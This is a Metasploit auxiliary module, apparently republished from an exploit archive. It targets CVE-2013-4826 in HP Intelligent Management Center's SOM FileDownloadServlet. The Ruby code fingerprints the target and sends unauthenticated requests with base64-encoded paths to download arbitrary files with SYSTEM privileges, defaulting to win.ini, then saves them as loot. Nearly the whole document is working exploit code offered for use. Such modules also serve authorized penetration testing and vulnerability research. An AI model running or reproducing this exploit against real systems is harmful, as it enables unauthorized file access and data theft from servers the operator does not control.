HP Intelligent Management SOM FileDownloadServlet Arbitrary Download

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'HP Intelligent Management SOM FileDownloadServlet Arbitrary Download',  
'Description' => %q{  
This module exploits a lack of authentication and access control in HP Intelligent  
Management, specifically in the FileDownloadServlet from the SOM component, in order to  
retrieve arbitrary files with SYSTEM privileges. This module has been tested successfully  
on HP Intelligent Management Center 5.2_E0401 with SOM 5.2 E0401 over Windows 2003 SP2.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # Vulnerability Discovery  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2013-4826' ],  
[ 'OSVDB', '98251' ],  
[ 'BID', '62898' ],  
[ 'ZDI', '13-242' ]  
]  
))  
  
register_options(  
[  
Opt::RPORT(8080),  
OptString.new('TARGETURI', [true, 'Path to HP Intelligent Management Center', '/imc']),  
OptString.new('FILEPATH', [true, 'The path of the file to download', 'c:\\windows\\win.ini'])  
])  
end  
  
def is_imc_som?  
res = send_request_cgi({  
'uri' => normalize_uri("servicedesk", "ServiceDesk.jsp"),  
'method' => 'GET'  
})  
  
if res and res.code == 200 and res.body =~ /servicedesk\/servicedesk/i  
return true  
else  
return false  
end  
end  
  
def my_basename(filename)  
return ::File.basename(filename.gsub(/\\/, "/"))  
end  
  
def run_host(ip)  
  
unless is_imc_som?  
vprint_error("HP iMC with the SOM component not found")  
return  
end  
  
vprint_status("Sending request...")  
res = send_request_cgi({  
'uri' => normalize_uri("servicedesk", "servicedesk", "fileDownload"),  
'method' => 'GET',  
'vars_get' =>  
{  
'OperType' => '2',  
'fileName' => Rex::Text.encode_base64(my_basename(datastore['FILEPATH'])),  
'filePath' => Rex::Text.encode_base64(datastore['FILEPATH'])  
}  
})  
  
if res and res.code == 200 and res.headers['Content-Type'] and res.headers['Content-Type'] =~ /application\/doc/  
contents = res.body  
fname = my_basename(datastore['FILEPATH'])  
path = store_loot(  
'hp.imc.somfiledownloadservlet',  
'application/octet-stream',  
ip,  
contents,  
fname  
)  
print_good("File saved in: #{path}")  
else  
vprint_error("Failed to retrieve file")  
return  
end  
end  
end  
`